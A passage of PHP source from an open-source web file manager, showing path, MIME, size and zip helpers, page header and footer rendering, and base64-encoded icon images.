$f2); if ($ok) { touch($f2, $time1); } return $ok; } function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } function fm_clean_path($path) { $path = trim($path); $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } function fm_get_filesize($size) { if ($size < 1000) { return sprintf('%s B', $size); } elseif (($size / 1024) < 1000) { return sprintf('%s KiB', round(($size / 1024), 2)); } elseif (($size / 1024 / 1024) < 1000) { return sprintf('%s MiB', round(($size / 1024 / 1024), 2)); } elseif (($size / 1024 / 1024 / 1024) < 1000) { return sprintf('%s GiB', round(($size / 1024 / 1024 / 1024), 2)); } else { return sprintf('%s TiB', round(($size / 1024 / 1024 / 1024 / 1024), 2)); } } function fm_get_zif_info($path) { if (function_exists('zip_open')) { $arch = zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = zip_read($arch)) { $zip_name = zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => zip_entry_filesize($zip_entry), 'compressed_size' => zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder ); } zip_close($arch); return $filenames; } } return false; } function fm_enc($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } function fm_set_msg($msg, $status = 'ok') { $_SESSION['message'] = $msg; $_SESSION['status'] = $status; } function fm_is_utf8($string) { return preg_match('//u', $string); } function fm_convert_win($filename) { if (FM_IS_WIN && function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } function fm_get_file_icon_class($path) { $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': $img = 'icon-file_image'; break; case 'txt': case 'css': case 'ini': case 'conf': case 'log': case 'htaccess': case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'less': case 'sass': case 'scss': case 'c': case 'cpp': case 'cs': case 'py': case 'map': case 'lock': case 'dtd': $img = 'icon-file_text'; break; case 'zip': case 'rar': case 'gz': case 'tar': case '7z': $img = 'icon-file_zip'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'icon-file_php'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'icon-file_html'; break; case 'xml': case 'xsl': case 'svg': $img = 'icon-file_code'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'icon-file_music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': $img = 'icon-file_playlist'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': $img = 'icon-file_film'; break; case 'eml': case 'msg': $img = 'icon-file_outlook'; break; case 'xls': case 'xlsx': $img = 'icon-file_excel'; break; case 'csv': $img = 'icon-file_csv'; break; case 'doc': case 'docx': $img = 'icon-file_word'; break; case 'ppt': case 'pptx': $img = 'icon-file_powerpoint'; break; case 'ttf': case 'ttc': case 'otf': case 'woff':case 'woff2': case 'eot': case 'fon': $img = 'icon-file_font'; break; case 'pdf': $img = 'icon-file_pdf'; break; case 'psd': $img = 'icon-file_photoshop'; break; case 'ai': case 'eps': $img = 'icon-file_illustrator'; break; case 'fla': $img = 'icon-file_flash'; break; case 'swf': $img = 'icon-file_swf'; break; case 'exe': case 'msi': $img = 'icon-file_application'; break; case 'bat': $img = 'icon-file_terminal'; break; default: $img = 'icon-document'; } return $img; } function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd'); } function fm_get_video_exts() { return array('webm', 'mp4', 'm4v', 'ogm', 'ogv', 'mov'); } function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'map', 'lock', 'dtd', 'svg', ); } function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', ); } function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } function fm_show_nav_path($path) { ?> <div class="path"> <div class="float-right"> <a title="Upload files" href="?p=<?php echo urlencode(FM_PATH) ?>&upload"><i class="icon-upload"></i></a> <a title="New folder" href="#" onclick="newfolder('<?php echo fm_enc(FM_PATH) ?>');return false;"><i class="icon-folder_add"></i></a> <?php if (FM_USE_AUTH): ?><a title="Logout" href="?logout=1"><i class="icon-logout"></i></a><?php endif; ?> </div> <?php $path = fm_clean_path($path); $root_url = "<a href='?p='><i class='icon-home' title='" . FM_ROOT_PATH . "'></i></a>"; $sep = '<i class="icon-separator"></i>'; if ($path != '') { $exploded = explode('/', $path); $count = count($exploded); $array = array(); $parent = ''; for ($i = 0; $i < $count; $i++) { $parent = trim($parent . '/' . $exploded[$i], '/'); $parent_enc = urlencode($parent); $array[] = "<a href='?p={$parent_enc}'>" . fm_enc(fm_convert_win($exploded[$i])) . "</a>"; } $root_url .= $sep . implode($sep, $array); } echo '<div class="break-word">' . $root_url . '</div>'; ?> </div> <?php } function fm_show_message() { if (isset($_SESSION['message'])) { $class = isset($_SESSION['status']) ? $_SESSION['status'] : 'ok'; echo '<p class="message ' . $class . '">' . $_SESSION['message'] . '</p>'; unset($_SESSION['message']); unset($_SESSION['status']); } } function fm_show_header() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>PHP File Manager</title> <style> html,body,div,span,p,pre,a,code,em,img,small,strong,ol,ul,li,form,label,table,tr,th,td{margin:0;padding:0;vertical-align:baseline;outline:none;font-size:100%;background:transparent;border:none;text-decoration:none} html{overflow-y:scroll}body{padding:0;font:13px/16px Tahoma,Arial,sans-serif;color:#222;background:#efefef} input,select,textarea,button{font-size:inherit;font-family:inherit} a{color:#296ea3;text-decoration:none}a:hover{color:#b00}img{vertical-align:middle;border:none} a img{border:none}span.gray{color:#777}small{font-size:11px;color:#999}p{margin-bottom:10px} ul{margin-left:2em;margin-bottom:10px}ul{list-style-type:none;margin-left:0}ul li{padding:3px 0} table{border-collapse:collapse;border-spacing:0;margin-bottom:10px;width:100%} th,td{padding:4px 7px;text-align:left;vertical-align:top;border:1px solid #ddd;background:#fff;white-space:nowrap} th,td.gray{background-color:#eee}td.gray span{color:#222} tr:hover td{background-color:#f5f5f5}tr:hover td.gray{background-color:#eee} code,pre{display:block;margin-bottom:10px;font:13px/16px Consolas,'Courier New',Courier,monospace;border:1px dashed #ccc;padding:5px;overflow:auto} pre.with-hljs{padding:0} pre.with-hljs code{margin:0;border:0;overflow:visible} code.maxheight,pre.maxheight{max-height:512px}input[type="checkbox"]{margin:0;padding:0} #wrapper{max-width:1000px;min-width:400px;margin:10px auto} .path{padding:4px 7px;border:1px solid #ddd;background-color:#fff;margin-bottom:10px} .right{text-align:right}.center{text-align:center}.float-right{float:right} .message{padding:4px 7px;border:1px solid #ddd;background-color:#fff} .message.ok{border-color:green;color:green} .message.error{border-color:red;color:red} .message.alert{border-color:orange;color:orange} .btn{border:0;background:none;padding:0;margin:0;font-weight:bold;color:#296ea3;cursor:pointer}.btn:hover{color:#b00} .preview-img{max-width:100%;background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC") repeat 0 0} .preview-video{position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px}.preview-video video{position:absolute;width:100%;height:100%;left:0;top:0;background:#000} [class*="icon-"]{display:inline-block;width:16px;height:16px;background:url("<?php echo FM_SELF_URL ?>?img=sprites&t=<?php echo $sprites_ver ?>") no-repeat 0 0;vertical-align:bottom} .icon-document{background-position:-16px 0}.icon-folder{background-position:-32px 0} .icon-folder_add{background-position:-48px 0}.icon-upload{background-position:-64px 0} .icon-arrow_up{background-position:-80px 0}.icon-home{background-position:-96px 0} .icon-separator{background-position:-112px 0}.icon-cross{background-position:-128px 0} .icon-copy{background-position:-144px 0}.icon-apply{background-position:-160px 0} .icon-cancel{background-position:-176px 0}.icon-rename{background-position:-192px 0} .icon-checkbox{background-position:-208px 0}.icon-checkbox_invert{background-position:-224px 0} .icon-checkbox_uncheck{background-position:-240px 0}.icon-download{background-position:-256px 0} .icon-goback{background-position:-272px 0}.icon-folder_open{background-position:-288px 0} .icon-file_application{background-position:0 -16px}.icon-file_code{background-position:-16px -16px} .icon-file_csv{background-position:-32px -16px}.icon-file_excel{background-position:-48px -16px} .icon-file_film{background-position:-64px -16px}.icon-file_flash{background-position:-80px -16px} .icon-file_font{background-position:-96px -16px}.icon-file_html{background-position:-112px -16px} .icon-file_illustrator{background-position:-128px -16px}.icon-file_image{background-position:-144px -16px} .icon-file_music{background-position:-160px -16px}.icon-file_outlook{background-position:-176px -16px} .icon-file_pdf{background-position:-192px -16px}.icon-file_photoshop{background-position:-208px -16px} .icon-file_php{background-position:-224px -16px}.icon-file_playlist{background-position:-240px -16px} .icon-file_powerpoint{background-position:-256px -16px}.icon-file_swf{background-position:-272px -16px} .icon-file_terminal{background-position:-288px -16px}.icon-file_text{background-position:-304px -16px} .icon-file_word{background-position:-320px -16px}.icon-file_zip{background-position:-336px -16px} .icon-logout{background-position:-304px 0}.icon-chain{background-position:-320px 0} .icon-link_folder{background-position:-352px -16px}.icon-link_file{background-position:-368px -16px} .compact-table{border:0;width:auto}.compact-table td,.compact-table th{width:100px;border:0;text-align:center}.compact-table tr:hover td{background-color:#fff} .filename{max-width:420px;white-space:nowrap;overflow:hidden;text-overflow:ellipsis} .break-word{word-wrap:break-word} </style> <link rel="icon" href="<?php echo FM_SELF_URL ?>?img=favicon" type="image/png"> <link rel="shortcut icon" href="<?php echo FM_SELF_URL ?>?img=favicon" type="image/png"> <?php if (isset($_GET['view']) && FM_USE_HIGHLIGHTJS): ?> <link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.2.0/styles/<?php echo FM_HIGHLIGHTJS_STYLE ?>.min.css"> <?php endif; ?> </head> <body> <div id="wrapper"> <?php } /** * Show page footer */ function fm_show_footer() { ?> <p class="center"><small><a href="https://github.com/alexantr/filemanager" target="_blank">PHP File Manager</a></small></p> </div> <script> function newfolder(p){var n=prompt('New folder name','folder');if(n!==null&&n!==''){window.location.search='p='+encodeURIComponent(p)+'&new='+encodeURIComponent(n);}} function rename(p,f){var n=prompt('New name',f);if(n!==null&&n!==''&&n!=f){window.location.search='p='+encodeURIComponent(p)+'&ren='+encodeURIComponent(f)+'&to='+encodeURIComponent(n);}} function change_checkboxes(l,v){for(var i=l.length-1;i>=0;i--){l[i].checked=(typeof v==='boolean')?v:!l[i].checked;}} function get_checkboxes(){var i=document.getElementsByName('file[]'),a=[];for(var j=i.length-1;j>=0;j--){if(i[j].type='checkbox'){a.push(i[j]);}}return a;} function select_all(){var l=get_checkboxes();change_checkboxes(l,true);} function unselect_all(){var l=get_checkboxes();change_checkboxes(l,false);} function invert_all(){var l=get_checkboxes();change_checkboxes(l);} function checkbox_toggle(){var l=get_checkboxes();l.push(this);change_checkboxes(l);} </script> <?php if (isset($_GET['view']) && FM_USE_HIGHLIGHTJS): ?> <script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/9.2.0/highlight.min.js"></script> <script>hljs.initHighlightingOnLoad();</script> <?php endif; ?> </body> </html> <?php } /** * Show image * @param string $img */ function fm_show_image($img) { $modified_time = gmdate('D, d M Y 00:00:00') . ' GMT'; $expires_time = gmdate('D, d M Y 00:00:00', strtotime('+1 day')) . ' GMT'; $img = trim($img); $images = fm_get_images(); $image = 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAEElEQVR42mL4//8/A0CAAQAI/AL+26JNFgAAAABJRU5ErkJggg=='; if (isset($images[$img])) { $image = $images[$img]; } $image = base64_decode($image); if (function_exists('mb_strlen')) { $size = mb_strlen($image, '8bit'); } else { $size = strlen($image); } if (function_exists('header_remove')) { header_remove('Cache-Control'); header_remove('Pragma'); } else { header('Cache-Control:'); header('Pragma:'); } header('Last-Modified: ' . $modified_time, true, 200); header('Expires: ' . $expires_time); header('Content-Length: ' . $size); header('Content-Type: image/png'); echo $image; exit; } function fm_get_images() { return array( 'favicon' => 'iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJ bWFnZVJlYWR5ccllPAAAAZVJREFUeNqkk79Lw0AUx1+uidTQim4Waxfpnl1BcHMR6uLkIF0cpYOI f4KbOFcRwbGTc0HQSVQQXCqlFIXgFkhIyvWS870LaaPYH9CDy8vdfb+fey930aSUMEvT6VHVzw8x rKUX3N3Hj/8M+cZ6GcOtBPl6KY5iAA7KJzfVWrfbhUKhALZtQ6myDf1+X5nsuzjLUmUOnpa+v5r1 Z4ZDDfsLiwER45xDEATgOI6KntfDd091GidzC8vZ4vH1QQ09+4MSMAMWRREKPMhmsyr6voYmrnb2 PKEizdEabUaeFCDKCCHAdV0wTVNFznMgpVqGlZ2cipzHGtKSZwCIZJgJwxB38KHT6Sjx21V75Jcn LXmGAKTRpGVZUx2dAqQzSEqw9kqwuGqONTufPrw37D8lQFxCvjgPXIixANLEGfwuQacMOC4kZz+q GdhJS550BjpRCdCbAJCMJRkMASEIg+4Bxz4JwAwDSEueAYDLIM+QrOk6GHiRxjXSkJY8KUCvdXZ6 kbuvNx+mOcbN9taGBlpLAWf9nX8EGADoCfqkKWV/cgAAAABJRU5ErkJggg==', 'sprites' => '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 RK5CYII=', ); }